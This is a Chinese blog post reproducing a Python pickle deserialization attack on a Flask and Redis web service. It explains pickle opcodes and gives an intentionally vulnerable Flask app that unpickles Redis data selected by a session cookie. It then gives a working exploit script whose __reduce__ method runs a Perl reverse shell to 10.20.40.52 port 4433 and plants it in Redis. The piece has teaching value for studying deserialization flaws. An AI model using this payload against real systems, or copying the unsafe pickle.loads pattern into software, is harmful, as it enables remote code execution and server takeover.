浅谈python反序列化漏洞

最近看到p神一篇讲python反序列化的文章,结合redis未授权访问组合漏洞,感觉在flask和redis的构架中比较常见,便记录下来。

p神原文:https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html

 

漏洞原理:

python序列化会通过pickle的dumps和loads来进行序列化和反序列化

 

 

 其中序列化后的值为

对应的格式如下:

c:读取新的一行作为模块名module,读取下一行作为对象名object,然后将module.object压入到堆栈中。
(:将一个标记对象插入到堆栈中。为了实现我们的目的,该指令会与t搭配使用,以产生一个元组。
t:从堆栈中弹出对象,直到一个“(”被弹出,并创建一个包含弹出对象(除了“(”)的元组对象,并且这些对象的顺序必须跟它们压入堆栈时的顺序一致。然后,该元组被压入到堆栈中。
S:读取引号中的字符串直到换行符处,然后将它压入堆栈。
R:将一个元组和一个可调用对象弹出堆栈,然后以该元组作为参数调用该可调用的对象,最后将结果压入到堆栈中。
.:结束pickle。

 

漏洞复现:

前提搭建一个web服务器,需要一个flask+redis的web服务。

代码如下

 1 import redis
 2 from flask import Flask,request,session
 3 import pickle
 4 import random
 5 app = Flask(__name__)
 6 
 7 class Redis:
 8     @staticmethod
 9     def connect():
10         r = redis.StrictRedis(host='localhost', port=6379, db=0)
11         return r
12 
13     @staticmethod
14     def set_data(r,key,data,ex=None):
15         r.set(key,pickle.dumps(data),ex)
16 
17     @staticmethod
18     def get_data(r,key):
19         data = r.get(key)
20         if data is None:
21             return None
22         return pickle.loads(data)
23 
24 def getrand():
25     str='abcdefghijklnmopqrstuvwxyz1234567890'
26     count = ''
27     for i in range(10):
28             index = random.randint(0,35)
29             count += str[index]
30     return count
31 
32 
33 @app.route('/',methods=['GET'])
34 def hello_world():
35     str = request.args.get('str')
36     r = Redis.connect()
37     rand = getrand()
38     Redis.set_data(r,rand,str)
39     return rand+':'+str
40 
41 @app.route('/getcookie')
42 def get_cookie():
43     cookie = request.cookies.get('session')
44     r = Redis.connect()
45     data = Redis.get_data(r,cookie)
46     return 'your data:'+data
47 
48 if __name__ == '__main__':
49     app.run()
index.py

程序大概过程是访问 / 目录会往redis中插入一条str变量,key值是伪随机生成的

然后访问/getcookie会访问cookie中的session的值带入redis查询并反序列化

 

 

 

 

 

 可以构造payload如下

 1 #!/usr/bin/env python
 2 #
 3 import cPickle
 4 import os
 5 import redis
 6 
 7 class exp(object):
 8     def __reduce__(self):
 9         s = """perl -e 'use Socket;$i="10.20.40.52";$p=4433;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'"""
10         return (os.system, (s,))
11 
12 e = exp()
13 s = cPickle.dumps(e)
14 
15 r = redis.Redis(host='127.0.0.1', port=6379, db=0)
16 r.set("e6c36e69a9c", s)

 

payload会往redis中插入一条e6c36e69a9c的key值

 

 然后在/getcookie中设置cookie访问,并监听服务器上的4433端口

 

 get!!!

posted @ 2019-12-20 10:34  admin-神风  阅读(3202)  评论(0编辑  收藏  举报